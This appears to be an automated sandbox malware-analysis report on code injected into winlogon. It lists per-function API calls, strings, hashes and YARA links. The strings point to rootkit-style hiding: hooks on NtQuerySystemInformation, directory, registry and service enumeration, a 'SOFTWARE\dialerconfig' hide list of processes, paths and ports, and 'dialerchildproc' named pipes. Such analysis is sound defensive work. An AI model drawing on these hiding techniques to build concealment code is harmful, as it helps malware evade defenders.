Function 00000225DC64D2A4 Relevance: 9.1, APIs: 6, Instructions: 83COMMON

Download Yara Rule

APIs

RtlCaptureContext.NTDLL ref: 00000225DC64D31D
RtlLookupFunctionEntry.NTDLL ref: 00000225DC64D335
RtlVirtualUnwind.NTDLL ref: 00000225DC64D370
IsDebuggerPresent.KERNEL32 ref: 00000225DC64D3A9
SetUnhandledExceptionFilter.KERNEL32 ref: 00000225DC64D3B3
UnhandledExceptionFilter.KERNEL32 ref: 00000225DC64D3BE

Memory Dump Source

Source File: 00000014.00000002.3139707516.00000225DC640000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000225DC640000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_225dc640000_winlogon.jbxd

Similarity

API ID: ExceptionFilterUnhandled$CaptureContextDebuggerEntryFunctionLookupPresentUnwindVirtual
String ID:
API String ID: 1239891234-0
Opcode ID: 056b8809331e045eb0ff6df28b8a67c6be047fb713c0be5e5acd4a9b147221bc
Instruction ID: f4e1f7a423249601853f9bf4c02ae152ed9a85bcd9bd447fde6e0ecec31a17ad
Opcode Fuzzy Hash: 056b8809331e045eb0ff6df28b8a67c6be047fb713c0be5e5acd4a9b147221bc
Instruction Fuzzy Hash: 1531C73A218F90A6DB60DFA9E8443EE73A0F789755F504126EB9E43B94DF38C145CB00

Function 00000225DC647960 Relevance: 6.0, APIs: 4, Instructions: 39timethreadCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetSystemTimeAsFileTime.KERNEL32 ref: 00000225DC64798C
GetCurrentThreadId.KERNEL32 ref: 00000225DC64799A
GetCurrentProcessId.KERNEL32 ref: 00000225DC6479A6
QueryPerformanceCounter.KERNEL32 ref: 00000225DC6479B6

Memory Dump Source

Source File: 00000014.00000002.3139707516.00000225DC640000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000225DC640000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_225dc640000_winlogon.jbxd

Similarity

API ID: CurrentTime$CounterFilePerformanceProcessQuerySystemThread
String ID:
API String ID: 2933794660-0
Opcode ID: 561ac6f4885ef0f33bff27beb4ddb95e6a253367b5c72fac45fcb4617ca9122b
Instruction ID: d33dc497d620ec2850d47fa6d7599d0f75ef197f864d2f2ea1a1538dcd62ba05
Opcode Fuzzy Hash: 561ac6f4885ef0f33bff27beb4ddb95e6a253367b5c72fac45fcb4617ca9122b
Instruction Fuzzy Hash: 54113026714F119AEF50CFE8E8593A833A4F719759F440E21DB6D467A4DF78C1A8C380

Function 00000225DC6ADCE0 Relevance: 1.6, APIs: 1, Instructions: 149COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000014.00000002.3141040016.00000225DC6A0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000225DC6A0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_225dc6a0000_winlogon.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 29975c57d01bdb1e687cc302dc7d7dc5a8663a128fa1f3b93342ad94a271d3ec
Instruction ID: da0f1b53d22c38e7f028f1682345193667a56556076439a06e8349e4d1e3cf91
Opcode Fuzzy Hash: 29975c57d01bdb1e687cc302dc7d7dc5a8663a128fa1f3b93342ad94a271d3ec
Instruction Fuzzy Hash: 3C510926700FE0A9FB20DFBAA84879E7BA5F7447D5F248114EE58A7B95DB38C411C700

Function 00000225DC64DCE0 Relevance: 1.6, APIs: 1, Instructions: 149COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000014.00000002.3139707516.00000225DC640000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000225DC640000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_225dc640000_winlogon.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 29975c57d01bdb1e687cc302dc7d7dc5a8663a128fa1f3b93342ad94a271d3ec
Instruction ID: 712154813c46b612020be7a143dde11e41283ee14142f5bab4be78c3f0fa479c
Opcode Fuzzy Hash: 29975c57d01bdb1e687cc302dc7d7dc5a8663a128fa1f3b93342ad94a271d3ec
Instruction Fuzzy Hash: 11511A26B0CBA0A9FB20DBBAE84879E7BA1F740BD5F148155EE5927B95DB38C001C700

Function 00000225DC6236F0 Relevance: .0, Instructions: 32COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000014.00000002.3139211755.00000225DC610000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000225DC610000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_225dc610000_winlogon.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 06df2142d5dd0183fd0e01b7d5608ecb5bc0210788fa76ce78b9fbce82fbb0aa
Instruction ID: fee74b632db8da7adfbcef3e822971e4130eb4171b3ad2da802a4781d9383549
Opcode Fuzzy Hash: 06df2142d5dd0183fd0e01b7d5608ecb5bc0210788fa76ce78b9fbce82fbb0aa
Instruction Fuzzy Hash: EAF062B57146A49EDBA98F6CA80671A77E1F308381FD4C029D68983B04D33C8061CF04

Function 00000225DC6A1628 Relevance: 50.9, APIs: 20, Strings: 9, Instructions: 157
registrymemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcessHeap.KERNEL32 ref: 00000225DC6A1633
HeapAlloc.KERNEL32 ref: 00000225DC6A1642

Part of subcall function 00000225DC6A1268: GetProcessHeap.KERNEL32 ref: 00000225DC6A126E
Part of subcall function 00000225DC6A1268: HeapAlloc.KERNEL32 ref: 00000225DC6A127D
Part of subcall function 00000225DC6A1268: GetProcessHeap.KERNEL32 ref: 00000225DC6A1297
Part of subcall function 00000225DC6A1268: HeapAlloc.KERNEL32 ref: 00000225DC6A12A8

RegOpenKeyExW.ADVAPI32 ref: 00000225DC6A16B2
RegOpenKeyExW.ADVAPI32 ref: 00000225DC6A16DF
RegCloseKey.ADVAPI32 ref: 00000225DC6A16F9
RegOpenKeyExW.ADVAPI32 ref: 00000225DC6A1719
RegCloseKey.ADVAPI32 ref: 00000225DC6A1734
RegOpenKeyExW.ADVAPI32 ref: 00000225DC6A1754
RegCloseKey.ADVAPI32 ref: 00000225DC6A176F
RegOpenKeyExW.ADVAPI32 ref: 00000225DC6A178F
RegCloseKey.ADVAPI32 ref: 00000225DC6A17AA
RegOpenKeyExW.ADVAPI32 ref: 00000225DC6A17CA
RegCloseKey.ADVAPI32 ref: 00000225DC6A17E5
RegOpenKeyExW.ADVAPI32 ref: 00000225DC6A1805
RegCloseKey.ADVAPI32 ref: 00000225DC6A1820
RegOpenKeyExW.ADVAPI32 ref: 00000225DC6A1840
RegCloseKey.ADVAPI32 ref: 00000225DC6A185B
RegOpenKeyExW.ADVAPI32 ref: 00000225DC6A187B
RegCloseKey.ADVAPI32 ref: 00000225DC6A1896
RegCloseKey.ADVAPI32 ref: 00000225DC6A18A0

Part of subcall function 00000225DC6A12BC: RegQueryInfoKeyW.ADVAPI32 ref: 00000225DC6A1319
Part of subcall function 00000225DC6A12BC: GetProcessHeap.KERNEL32 ref: 00000225DC6A1327
Part of subcall function 00000225DC6A12BC: HeapAlloc.KERNEL32 ref: 00000225DC6A1338
Part of subcall function 00000225DC6A12BC: RegEnumValueW.ADVAPI32 ref: 00000225DC6A1397
Part of subcall function 00000225DC6A12BC: GetProcessHeap.KERNEL32 ref: 00000225DC6A13DF
Part of subcall function 00000225DC6A12BC: HeapAlloc.KERNEL32 ref: 00000225DC6A13ED
Part of subcall function 00000225DC6A12BC: GetProcessHeap.KERNEL32 ref: 00000225DC6A140A
Part of subcall function 00000225DC6A12BC: HeapFree.KERNEL32 ref: 00000225DC6A1418
Part of subcall function 00000225DC6A12BC: lstrlenW.KERNEL32 ref: 00000225DC6A1421
Part of subcall function 00000225DC6A12BC: GetProcessHeap.KERNEL32 ref: 00000225DC6A142F
Part of subcall function 00000225DC6A12BC: HeapAlloc.KERNEL32 ref: 00000225DC6A143D

Strings

paths, xrefs: 00000225DC6A1788
tcp_local, xrefs: 00000225DC6A17FE
tcp_remote, xrefs: 00000225DC6A1839
service_names, xrefs: 00000225DC6A17C3
SOFTWARE\dialerconfig, xrefs: 00000225DC6A1692
startup, xrefs: 00000225DC6A16D5
pid, xrefs: 00000225DC6A1712
udp, xrefs: 00000225DC6A1874
process_names, xrefs: 00000225DC6A174D

Memory Dump Source

Source File: 00000014.00000002.3141040016.00000225DC6A0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000225DC6A0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_225dc6a0000_winlogon.jbxd

Similarity

API ID: Heap$CloseOpen$Process$Alloc$EnumFreeInfoQueryValuelstrlen
String ID: SOFTWARE\dialerconfig$paths$pid$process_names$service_names$startup$tcp_local$tcp_remote$udp
API String ID: 106492572-2879589442
Opcode ID: 29d8c56dd48d9a3b38e8b79419d4f3e68f34e96909367841420a970a2341c6d0
Instruction ID: 545a197093dbf33f1111aaff3c94dd347963510d91bf182c1d2d2b3e49a62449
Opcode Fuzzy Hash: 29d8c56dd48d9a3b38e8b79419d4f3e68f34e96909367841420a970a2341c6d0
Instruction Fuzzy Hash: 1B71FE7A314E24E6EB10DFAAE85869D33B5FB84B8AF109111DE4E97B69DF38C444C740

Function 00000225DC6A12BC Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 120
memoryregistrystringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RegQueryInfoKeyW.ADVAPI32 ref: 00000225DC6A1319
GetProcessHeap.KERNEL32 ref: 00000225DC6A1327
HeapAlloc.KERNEL32 ref: 00000225DC6A1338
RegEnumValueW.ADVAPI32 ref: 00000225DC6A1397

Part of subcall function 00000225DC6A152C: StrCmpIW.SHLWAPI ref: 00000225DC6A155D

GetProcessHeap.KERNEL32 ref: 00000225DC6A13DF
HeapAlloc.KERNEL32 ref: 00000225DC6A13ED
GetProcessHeap.KERNEL32 ref: 00000225DC6A140A
HeapFree.KERNEL32 ref: 00000225DC6A1418
lstrlenW.KERNEL32 ref: 00000225DC6A1421
GetProcessHeap.KERNEL32 ref: 00000225DC6A142F
HeapAlloc.KERNEL32 ref: 00000225DC6A143D
StrCpyW.SHLWAPI ref: 00000225DC6A145F
GetProcessHeap.KERNEL32 ref: 00000225DC6A1476
HeapFree.KERNEL32 ref: 00000225DC6A1484

Strings

d, xrefs: 00000225DC6A135A

Memory Dump Source

Source File: 00000014.00000002.3141040016.00000225DC6A0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000225DC6A0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_225dc6a0000_winlogon.jbxd

Similarity

API ID: Heap$Process$Alloc$Free$EnumInfoQueryValuelstrlen
String ID: d
API String ID: 2005889112-2564639436
Opcode ID: 8b653d2a3574a9b9f54f76d34c9bbade1314fe17b6e977058bb62b7e32ce9810
Instruction ID: d2d635d82ad37731a82d28168a5eda6b08545a77464cd3cb2b7161adfafd8aad
Opcode Fuzzy Hash: 8b653d2a3574a9b9f54f76d34c9bbade1314fe17b6e977058bb62b7e32ce9810
Instruction Fuzzy Hash: 22516C7A200F94DAEB54CFAAE54835A77A6F789F9AF148124DE4A47728DF3CC049C700

Function 00000225DC6412BC Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 120
memoryregistrystringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RegQueryInfoKeyW.ADVAPI32 ref: 00000225DC641319
GetProcessHeap.KERNEL32 ref: 00000225DC641327
HeapAlloc.KERNEL32 ref: 00000225DC641338
RegEnumValueW.ADVAPI32 ref: 00000225DC641397

Part of subcall function 00000225DC64152C: StrCmpIW.SHLWAPI ref: 00000225DC64155D

GetProcessHeap.KERNEL32 ref: 00000225DC6413DF
HeapAlloc.KERNEL32 ref: 00000225DC6413ED
GetProcessHeap.KERNEL32 ref: 00000225DC64140A
HeapFree.KERNEL32 ref: 00000225DC641418
lstrlenW.KERNEL32 ref: 00000225DC641421
GetProcessHeap.KERNEL32 ref: 00000225DC64142F
HeapAlloc.KERNEL32 ref: 00000225DC64143D
StrCpyW.SHLWAPI ref: 00000225DC64145F
GetProcessHeap.KERNEL32 ref: 00000225DC641476
HeapFree.KERNEL32 ref: 00000225DC641484

Strings

d, xrefs: 00000225DC64135A

Memory Dump Source

Source File: 00000014.00000002.3139707516.00000225DC640000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000225DC640000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_225dc640000_winlogon.jbxd

Similarity

API ID: Heap$Process$Alloc$Free$EnumInfoQueryValuelstrlen
String ID: d
API String ID: 2005889112-2564639436
Opcode ID: 8b653d2a3574a9b9f54f76d34c9bbade1314fe17b6e977058bb62b7e32ce9810
Instruction ID: fb1b484c7ebee393b1b53cdd5cd81ac2c1ca147a5507fda1b24fca473b782784
Opcode Fuzzy Hash: 8b653d2a3574a9b9f54f76d34c9bbade1314fe17b6e977058bb62b7e32ce9810
Instruction Fuzzy Hash: 46515E7A214F9496EB64CFAAE54836A77A1F789F9AF148124DF4A07B58DF3CC045C700

Function 00000225DC6A1D14 Relevance: 22.8, APIs: 1, Strings: 12, Instructions: 65threadCOMMON

Download Yara Rule

APIs

GetCurrentThread.KERNEL32 ref: 00000225DC6A1D1F

Part of subcall function 00000225DC6A1FD4: GetModuleHandleA.KERNEL32 ref: 00000225DC6A1FEC
Part of subcall function 00000225DC6A1FD4: GetProcAddress.KERNEL32 ref: 00000225DC6A1FFD

Part of subcall function 00000225DC6A5B30: GetCurrentThreadId.KERNEL32 ref: 00000225DC6A5B6B

Strings

NtQueryDirectoryFileEx, xrefs: 00000225DC6A1D9C
NtQueryDirectoryFile, xrefs: 00000225DC6A1D7F
NtEnumerateKey, xrefs: 00000225DC6A1DB9
NtResumeThread, xrefs: 00000225DC6A1D62
EnumServiceGroupW, xrefs: 00000225DC6A1DF0
NtQuerySystemInformation, xrefs: 00000225DC6A1D45
NtEnumerateValueKey, xrefs: 00000225DC6A1DD6
NtDeviceIoControlFile, xrefs: 00000225DC6A1E56
ntdll.dll, xrefs: 00000225DC6A1D2D
sechost.dll, xrefs: 00000225DC6A1E39
advapi32.dll, xrefs: 00000225DC6A1DF7, 00000225DC6A1E18
EnumServicesStatusExW, xrefs: 00000225DC6A1E11, 00000225DC6A1E32

Memory Dump Source

Source File: 00000014.00000002.3141040016.00000225DC6A0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000225DC6A0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_225dc6a0000_winlogon.jbxd

Similarity

API ID: CurrentThread$AddressHandleModuleProc
String ID: EnumServiceGroupW$EnumServicesStatusExW$NtDeviceIoControlFile$NtEnumerateKey$NtEnumerateValueKey$NtQueryDirectoryFile$NtQueryDirectoryFileEx$NtQuerySystemInformation$NtResumeThread$advapi32.dll$ntdll.dll$sechost.dll
API String ID: 4175298099-1975688563
Opcode ID: 848021bf4701eae64bbfc749c93af06548ec6c37c79a2989ab503d46e0816dd6
Instruction ID: bae3e35cc23bdf7e795311711b41c652c83ad71068a264824faefe60a6291ab9
Opcode Fuzzy Hash: 848021bf4701eae64bbfc749c93af06548ec6c37c79a2989ab503d46e0816dd6
Instruction Fuzzy Hash: 583195AC240D6AB0EA46EFEDE8697D46361B70474BF94D023D80986675EF3CC249C350

Function 00000225DC641D14 Relevance: 22.8, APIs: 1, Strings: 12, Instructions: 65threadCOMMON

Download Yara Rule

APIs

GetCurrentThread.KERNEL32 ref: 00000225DC641D1F

Part of subcall function 00000225DC641FD4: GetModuleHandleA.KERNEL32 ref: 00000225DC641FEC
Part of subcall function 00000225DC641FD4: GetProcAddress.KERNEL32 ref: 00000225DC641FFD

Part of subcall function 00000225DC645B30: GetCurrentThreadId.KERNEL32 ref: 00000225DC645B6B

Strings

advapi32.dll, xrefs: 00000225DC641DF7, 00000225DC641E18
EnumServiceGroupW, xrefs: 00000225DC641DF0
NtQueryDirectoryFile, xrefs: 00000225DC641D7F
sechost.dll, xrefs: 00000225DC641E39
ntdll.dll, xrefs: 00000225DC641D2D
NtEnumerateKey, xrefs: 00000225DC641DB9
NtDeviceIoControlFile, xrefs: 00000225DC641E56
NtResumeThread, xrefs: 00000225DC641D62
NtEnumerateValueKey, xrefs: 00000225DC641DD6
NtQueryDirectoryFileEx, xrefs: 00000225DC641D9C
EnumServicesStatusExW, xrefs: 00000225DC641E11, 00000225DC641E32
NtQuerySystemInformation, xrefs: 00000225DC641D45

Memory Dump Source

Source File: 00000014.00000002.3139707516.00000225DC640000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000225DC640000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_225dc640000_winlogon.jbxd

Similarity

API ID: CurrentThread$AddressHandleModuleProc
String ID: EnumServiceGroupW$EnumServicesStatusExW$NtDeviceIoControlFile$NtEnumerateKey$NtEnumerateValueKey$NtQueryDirectoryFile$NtQueryDirectoryFileEx$NtQuerySystemInformation$NtResumeThread$advapi32.dll$ntdll.dll$sechost.dll
API String ID: 4175298099-1975688563
Opcode ID: 848021bf4701eae64bbfc749c93af06548ec6c37c79a2989ab503d46e0816dd6
Instruction ID: 52c27ab1b4cc8d1b0b7a026bbb00d0580f7e8789e5eca17ee175a033894297e0
Opcode Fuzzy Hash: 848021bf4701eae64bbfc749c93af06548ec6c37c79a2989ab503d46e0816dd6
Instruction Fuzzy Hash: 9231B8AC518DAAB0EB46EFEDE9597D43361B70434BF90D093940B025B1AF38828AC350

Function 00000225DC616910 Relevance: 21.2, APIs: 8, Strings: 4, Instructions: 230COMMON

Download Yara Rule

APIs

__scrt_dllmain_crt_thread_attach.LIBCMT ref: 00000225DC616938
__scrt_acquire_startup_lock.LIBCMT ref: 00000225DC61698A
_RTC_Initialize.LIBCMT ref: 00000225DC6169B8
__scrt_dllmain_after_initialize_c.LIBCMT ref: 00000225DC6169DE
__scrt_release_startup_lock.LIBCMT ref: 00000225DC616A09

Strings

`eh vector copy constructor iterator', xrefs: 00000225DC616A3B
`eh vector vbase copy constructor iterator', xrefs: 00000225DC6169EE
`dynamic initializer for ', xrefs: 00000225DC6169C7
scriptor', xrefs: 00000225DC616B39, 00000225DC616BB2, 00000225DC616BEC

Memory Dump Source

Source File: 00000014.00000002.3139211755.00000225DC610000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000225DC610000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_225dc610000_winlogon.jbxd

Similarity

API ID: Initialize__scrt_acquire_startup_lock__scrt_dllmain_after_initialize_c__scrt_dllmain_crt_thread_attach__scrt_release_startup_lock
String ID: `dynamic initializer for '$`eh vector copy constructor iterator'$`eh vector vbase copy constructor iterator'$scriptor'
API String ID: 190073905-1786718095
Opcode ID: 0257f947f8d22f27d89668d16c5c48cc6f3519c7a2ac610662f1932688afbc32
Instruction ID: 7539ecd07ed9e19813cea4b70ed8e4e8e5b401edcb5cd18e99020899339b4ff2
Opcode Fuzzy Hash: 0257f947f8d22f27d89668d16c5c48cc6f3519c7a2ac610662f1932688afbc32
Instruction Fuzzy Hash: DF81122D702E71A6FE60EBED944D35962E0EB95783F18C425AB4983797EF38C946C700

Function 00000225DC676910 Relevance: 21.2, APIs: 8, Strings: 4, Instructions: 230COMMON

Download Yara Rule

APIs

__scrt_dllmain_crt_thread_attach.LIBCMT ref: 00000225DC676938
__scrt_acquire_startup_lock.LIBCMT ref: 00000225DC67698A
_RTC_Initialize.LIBCMT ref: 00000225DC6769B8
__scrt_dllmain_after_initialize_c.LIBCMT ref: 00000225DC6769DE
__scrt_release_startup_lock.LIBCMT ref: 00000225DC676A09

Strings

scriptor', xrefs: 00000225DC676B39, 00000225DC676BB2, 00000225DC676BEC
`dynamic initializer for ', xrefs: 00000225DC6769C7
`eh vector vbase copy constructor iterator', xrefs: 00000225DC6769EE
`eh vector copy constructor iterator', xrefs: 00000225DC676A3B

Memory Dump Source

Source File: 00000014.00000002.3140545005.00000225DC670000.00000040.00000400.00020000.00000000.sdmp, Offset: 00000225DC670000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_225dc670000_winlogon.jbxd

Similarity

API ID: Initialize__scrt_acquire_startup_lock__scrt_dllmain_after_initialize_c__scrt_dllmain_crt_thread_attach__scrt_release_startup_lock
String ID: `dynamic initializer for '$`eh vector copy constructor iterator'$`eh vector vbase copy constructor iterator'$scriptor'
API String ID: 190073905-1786718095
Opcode ID: 0257f947f8d22f27d89668d16c5c48cc6f3519c7a2ac610662f1932688afbc32
Instruction ID: 22cde9f525fffbeb1c6e8d8417a217ee6af8dab08b44ae11a5e6f92b2a2e472d
Opcode Fuzzy Hash: 0257f947f8d22f27d89668d16c5c48cc6f3519c7a2ac610662f1932688afbc32
Instruction Fuzzy Hash: 5581E26D710E61A6FA54EBEE944D35923D0EB85B82F58C8259B0947FD7EF38C846CB00

Function 00000225DC6ACE28 Relevance: 18.1, APIs: 12, Instructions: 112COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32 ref: 00000225DC6ACE37
FlsGetValue.KERNEL32(?,?,?,00000225DC6B0A6B,?,?,?,00000225DC6B045C,?,?,?,00000225DC6AC84F), ref: 00000225DC6ACE4C
FlsSetValue.KERNEL32(?,?,?,00000225DC6B0A6B,?,?,?,00000225DC6B045C,?,?,?,00000225DC6AC84F), ref: 00000225DC6ACE6D
FlsSetValue.KERNEL32(?,?,?,00000225DC6B0A6B,?,?,?,00000225DC6B045C,?,?,?,00000225DC6AC84F), ref: 00000225DC6ACE9A
FlsSetValue.KERNEL32(?,?,?,00000225DC6B0A6B,?,?,?,00000225DC6B045C,?,?,?,00000225DC6AC84F), ref: 00000225DC6ACEAB
FlsSetValue.KERNEL32(?,?,?,00000225DC6B0A6B,?,?,?,00000225DC6B045C,?,?,?,00000225DC6AC84F), ref: 00000225DC6ACEBC
SetLastError.KERNEL32 ref: 00000225DC6ACED7
FlsGetValue.KERNEL32(?,?,?,?,?,?,?,00000225DC6B0A6B,?,?,?,00000225DC6B045C,?,?,?,00000225DC6AC84F), ref: 00000225DC6ACF0D
FlsSetValue.KERNEL32(?,?,00000001,00000225DC6AECCC,?,?,?,?,00000225DC6ABF9F,?,?,?,?,?,00000225DC6A7AB0), ref: 00000225DC6ACF2C

Part of subcall function 00000225DC6AD6CC: HeapAlloc.KERNEL32 ref: 00000225DC6AD721

FlsSetValue.KERNEL32(?,?,?,?,?,?,?,00000225DC6B0A6B,?,?,?,00000225DC6B045C,?,?,?,00000225DC6AC84F), ref: 00000225DC6ACF54

Part of subcall function 00000225DC6AD744: HeapFree.KERNEL32 ref: 00000225DC6AD75A
Part of subcall function 00000225DC6AD744: GetLastError.KERNEL32 ref: 00000225DC6AD764

FlsSetValue.KERNEL32(?,?,?,?,?,?,?,00000225DC6B0A6B,?,?,?,00000225DC6B045C,?,?,?,00000225DC6AC84F), ref: 00000225DC6ACF65
FlsSetValue.KERNEL32(?,?,?,?,?,?,?,00000225DC6B0A6B,?,?,?,00000225DC6B045C,?,?,?,00000225DC6AC84F), ref: 00000225DC6ACF76

Memory Dump Source

Source File: 00000014.00000002.3141040016.00000225DC6A0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000225DC6A0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_225dc6a0000_winlogon.jbxd

Similarity

API ID: Value$ErrorLast$Heap$AllocFree
String ID:
API String ID: 570795689-0
Opcode ID: 3a29360f60df60adecaf4649f79764fa540e3f9fdfe76bc69ae0b48c7fce8efe
Instruction ID: 16b8eac9f94798cf318e2989be29cf1ddfaa1c447e8d99b4c7a956a79ddaff1c
Opcode Fuzzy Hash: 3a29360f60df60adecaf4649f79764fa540e3f9fdfe76bc69ae0b48c7fce8efe
Instruction Fuzzy Hash: 47415868300E6472FE68EBFD565D36922826F887B2F34C724A936C77E6DE39D441D201

Function 00000225DC64CE28 Relevance: 18.1, APIs: 12, Instructions: 112COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32 ref: 00000225DC64CE37
FlsGetValue.KERNEL32(?,?,?,00000225DC650A6B,?,?,?,00000225DC65045C,?,?,?,00000225DC64C84F), ref: 00000225DC64CE4C
FlsSetValue.KERNEL32(?,?,?,00000225DC650A6B,?,?,?,00000225DC65045C,?,?,?,00000225DC64C84F), ref: 00000225DC64CE6D
FlsSetValue.KERNEL32(?,?,?,00000225DC650A6B,?,?,?,00000225DC65045C,?,?,?,00000225DC64C84F), ref: 00000225DC64CE9A
FlsSetValue.KERNEL32(?,?,?,00000225DC650A6B,?,?,?,00000225DC65045C,?,?,?,00000225DC64C84F), ref: 00000225DC64CEAB
FlsSetValue.KERNEL32(?,?,?,00000225DC650A6B,?,?,?,00000225DC65045C,?,?,?,00000225DC64C84F), ref: 00000225DC64CEBC
SetLastError.KERNEL32 ref: 00000225DC64CED7
FlsGetValue.KERNEL32(?,?,?,?,?,?,?,00000225DC650A6B,?,?,?,00000225DC65045C,?,?,?,00000225DC64C84F), ref: 00000225DC64CF0D
FlsSetValue.KERNEL32(?,?,00000001,00000225DC64ECCC,?,?,?,?,00000225DC64BF9F,?,?,?,?,?,00000225DC647AB0), ref: 00000225DC64CF2C

Part of subcall function 00000225DC64D6CC: HeapAlloc.KERNEL32 ref: 00000225DC64D721

FlsSetValue.KERNEL32(?,?,?,?,?,?,?,00000225DC650A6B,?,?,?,00000225DC65045C,?,?,?,00000225DC64C84F), ref: 00000225DC64CF54

Part of subcall function 00000225DC64D744: HeapFree.KERNEL32 ref: 00000225DC64D75A
Part of subcall function 00000225DC64D744: GetLastError.KERNEL32 ref: 00000225DC64D764

FlsSetValue.KERNEL32(?,?,?,?,?,?,?,00000225DC650A6B,?,?,?,00000225DC65045C,?,?,?,00000225DC64C84F), ref: 00000225DC64CF65
FlsSetValue.KERNEL32(?,?,?,?,?,?,?,00000225DC650A6B,?,?,?,00000225DC65045C,?,?,?,00000225DC64C84F), ref: 00000225DC64CF76

Memory Dump Source

Source File: 00000014.00000002.3139707516.00000225DC640000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000225DC640000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_225dc640000_winlogon.jbxd

Similarity

API ID: Value$ErrorLast$Heap$AllocFree
String ID:
API String ID: 570795689-0
Opcode ID: 3a29360f60df60adecaf4649f79764fa540e3f9fdfe76bc69ae0b48c7fce8efe
Instruction ID: c96d39c070731bccc58dc25472949b9c8324ede58aceb138708ddbc32eb2cb43
Opcode Fuzzy Hash: 3a29360f60df60adecaf4649f79764fa540e3f9fdfe76bc69ae0b48c7fce8efe
Instruction Fuzzy Hash: 3B41AB2C34CE64B6FE68A7FD955D36932825F857B2F24C7A4A937467E6DF388442C200

Function 00000225DC6A2244 Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 52filethreadCOMMON

Download Yara Rule

APIs

GetProcessIdOfThread.KERNEL32 ref: 00000225DC6A2259
GetCurrentProcessId.KERNEL32 ref: 00000225DC6A2263

Part of subcall function 00000225DC6A1934: OpenProcess.KERNEL32 ref: 00000225DC6A1952
Part of subcall function 00000225DC6A1934: IsWow64Process.KERNEL32 ref: 00000225DC6A1968
Part of subcall function 00000225DC6A1934: CloseHandle.KERNEL32 ref: 00000225DC6A1983

CreateFileW.KERNEL32 ref: 00000225DC6A22BC
WriteFile.KERNEL32 ref: 00000225DC6A22E4
ReadFile.KERNEL32 ref: 00000225DC6A2303
CloseHandle.KERNEL32 ref: 00000225DC6A230C

Strings

\\.\pipe\dialerchildproc32, xrefs: 00000225DC6A2293
\\.\pipe\dialerchildproc64, xrefs: 00000225DC6A228C

Memory Dump Source

Source File: 00000014.00000002.3141040016.00000225DC6A0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000225DC6A0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_225dc6a0000_winlogon.jbxd

Similarity

API ID: Process$File$CloseHandle$CreateCurrentOpenReadThreadWow64Write
String ID: \\.\pipe\dialerchildproc32$\\.\pipe\dialerchildproc64
API String ID: 2171963597-1373409510
Opcode ID: d76f145db3bc14c8b60d6abb5b011cd5988a1ad04fc2d4b7169b2a78ec3c4c79
Instruction ID: 123304303fb7c22e5d95d7b69af9060bb35e9dacbc8375ccdc98a975ab60097a
Opcode Fuzzy Hash: d76f145db3bc14c8b60d6abb5b011cd5988a1ad04fc2d4b7169b2a78ec3c4c79
Instruction Fuzzy Hash: 71217F7A614B6092FB14CBA9F54835973A1F789BA6F508215EB5943BA8CF7CC149CB00

Function 00000225DC642244 Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 52filethreadCOMMON

Download Yara Rule

APIs

GetProcessIdOfThread.KERNEL32 ref: 00000225DC642259
GetCurrentProcessId.KERNEL32 ref: 00000225DC642263

Part of subcall function 00000225DC641934: OpenProcess.KERNEL32 ref: 00000225DC641952
Part of subcall function 00000225DC641934: IsWow64Process.KERNEL32 ref: 00000225DC641968
Part of subcall function 00000225DC641934: CloseHandle.KERNEL32 ref: 00000225DC641983

CreateFileW.KERNEL32 ref: 00000225DC6422BC
WriteFile.KERNEL32 ref: 00000225DC6422E4
ReadFile.KERNEL32 ref: 00000225DC642303
CloseHandle.KERNEL32 ref: 00000225DC64230C

Strings

\\.\pipe\dialerchildproc64, xrefs: 00000225DC64228C
\\.\pipe\dialerchildproc32, xrefs: 00000225DC642293

Memory Dump Source

Source File: 00000014.00000002.3139707516.00000225DC640000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000225DC640000, based on PE: true

Joe Sandbox IDA Plugin

